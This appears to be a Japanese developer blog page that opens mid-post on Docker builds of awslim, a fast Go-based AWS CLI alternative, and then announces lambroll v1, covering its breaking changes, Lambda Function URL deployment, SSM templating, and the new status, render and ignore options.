環境変数 AWSLIM_GEN に、ビルドするサービス名を , 区切りで設定して RUN ./build-in-docker.sh するだけです。簡単ですね。

FROM ghcr.io/fujiwara/awslim:builder AS builder
ENV AWSLIM_GEN=ecs,firehose,s3
ENV GIT_REF=v0.1.0
RUN ./build-in-docker.sh

FROM debian:bookworm-slim
COPY --from=builder /app/awslim /usr/local/bin/awslim

手元で Linux 用バイナリを生成する場合にも、docker が使えます。ビルド用イメージを docker run するとバイナリがコンテナの中に生成されるので、docker cp で取りだしてください。

$ docker run -it -e AWSLIM_GEN=ecs,firehose,s3 ghcr.io/fujiwara/awslim:builder
$ docker cp $(docker ps -lq):/app/awslim .

また、リリースバイナリはビルドした時点の AWS SDK Go v2 に依存した状態ですが、自分でビルドする場合、各サービスのコードはその時点の最新版が使われます。つまり、あるサービスの新機能がリリースされて SDK も更新された場合、その機能をすぐに使うためにはリリースバイナリを待つのではなく、自前ビルドを使うほうが対応が早いことが多いでしょう。

まとめ

  • AWS CLIは便利です。しかし起動が遅いので、Goで実装された高速な(ただし機能は少ない)代替品を作りました。awslim といいます
  • リリースバイナリは無駄に大きいので、必要な機能だけを組み込んだビルドを簡単にできるようにしてあります。ビルドして使うのがお勧めです
  • どうぞご利用下さい

AWS Lambdaデプロイツール lambroll v1をリリースしました

AWS Lambda用のデプロイツール、lambroll の v1.0 を2024年2月10日にリリースしたのでお知らせです。

github.com

リリースして早速ですが v1.0.0 には一部のフラグ名がv0と異なるというバグがあるので、v1.0.1 以降をご利用ください。

v0.x と v1 の変更点

リポジトリ にまとめてありますが、簡単に解説します。

非互換変更

lambroll archive zipのバイナリを、標準出力ではなくファイルに書き出します

デフォルトのファイル名 function.zip(--dest オプションで指定可能) に書き出すようになりました。

--dest - を指定することで、v0と同様に標準出力に書き出すことができます。

lambroll diff コマンドは、常に短縮型の unified 形式で出力します

--unified オプションは廃止されました。

新機能

Lambda Function URLのデプロイをサポート

ドキュメントはこちらです

function_url.json (.jsonnetも可) というファイルを例として以下のように用意して、lambroll deploy --function-url function_url.json としてやると、function自体のdeployが終わったあとに Function URL をデプロイします。必要な Lambda permission も同時に付与します。

{
  "Config": {
    "AuthType": "NONE"
  }
}

これは認証なしの一番単純な形式ですが、IAM認証やCORSの指定にも対応しています。Config, Permissions はそれぞれ、AWS SDK Go v2 の CreateFunctionUrlConfigInputAddPermissionInput に対応しています。

{
  "Config": {
   "AuthType": "AWS_IAM",
   "Qualifier": "current",
   "Cors": {
      "AllowOrigins": [
        "*"
      ],
      "AllowMethods": [
        "GET",
        "POST"
      ]
    },
  },
  "Permissions": [
    {
      "Principal": "0123456789012"
    },
    {
      "PrincipalOrgID": "o-123456789",
      "Principal": "*"
    }
  ]
}

備考

  • deploy --function-url が指定された場合のみ、Function URL デプロイを行います
    • オプションを指定しない場合は既存の Function URL のリソースが存在していても変更を行いません
  • lambroll init で既存 function を指定して設定ファイル化する場合、--function-url フラグを指定すると function_url.json の生成も行います
  • lambroll diff についても --function-url オプションが指定された場合のみ、Function URL についての変更差分を表示します

SSM テンプレート関数追加

{{ ssm "/path/to/parameter" }} という記法で、SSMパラメーターストアの値をテンプレート展開できるようになりました。

lambroll status コマンド追加

現在のfunctionの情報を出力します。--output json オプションでJSON形式での出力もできます。

$ lambroll status
+-----------------+-----------------------------------------------------------+
| FunctionName    | hello                                                     |
| FunctionArn     | arn:aws:lambda:ap-northeast-1:314472643515:function:hello |
| Version         | $LATEST                                                   |
| Runtime         | provided.al2023                                           |
| PackageType     | Zip                                                       |
| State           | Active                                                    |
| LastUpdateState | Successful                                                |
| FunctionURL     | https://xxxxxxxxxxxxxxx.lambda-url.ap-northeast-1.on.aws/ |
+-----------------+-----------------------------------------------------------+

lambroll render コマンド追加

lambroll render を実行すると、設定ファイル (function.json, .jsonnet) をレンダリングして標準出力に出力します。

環境変数 LAMBROLL_XXX をオプションとして受け入れます

例えばこれまで lambroll deploy --tfstate=s3://example/terraform.tfstate としていた場合、 LAMBROLL_TFSTATE=s3://example/terraform.tfstate という環境変数を設定することで、コマンドラインオプションでの指定を省略できます。

diffdeployコマンドに --ignore オプションを追加

--ignore で指定された function.json 内の要素について、diffdeploy 時に比較と更新を無視するようになりました。

例えば lambroll deploy --ignore ".Timeout, .Environment" と指定すると、TimeoutEnvironment の値はデプロイ実行時に無視されます。特定の値は更新したくないような場合に便利です。

その他の変更

  • AWS SDK Go を v1 から v2 に更新しました
  • CLI flag parser を kingpin から kong に変更しました
  • リリースバイナリの生成を GoReleaser で行うようにしました
    • アーカイブのパッケージ構成が変わっています。独自のインストール用のscriptがある場合は修正が必要になる可能性があります
    • aqua をご利用の場合は aqua-registry v4.131.1 以降に更新をお願いします
    • CircleCI orb を利用している場合、fujiwara/lambroll@2.0.1 を使用してください
    • Github Actions では fujiwara/lambroll@v1 を使用してください

まとめ

Lambroll v1をリリースしました。目玉機能は Function URL のサポートです!

ドキュメントに書かれた以外の非互換変更は意図しないものの可能性が高いため、もし見つけたらissueなどで教えていただけると嬉しいです。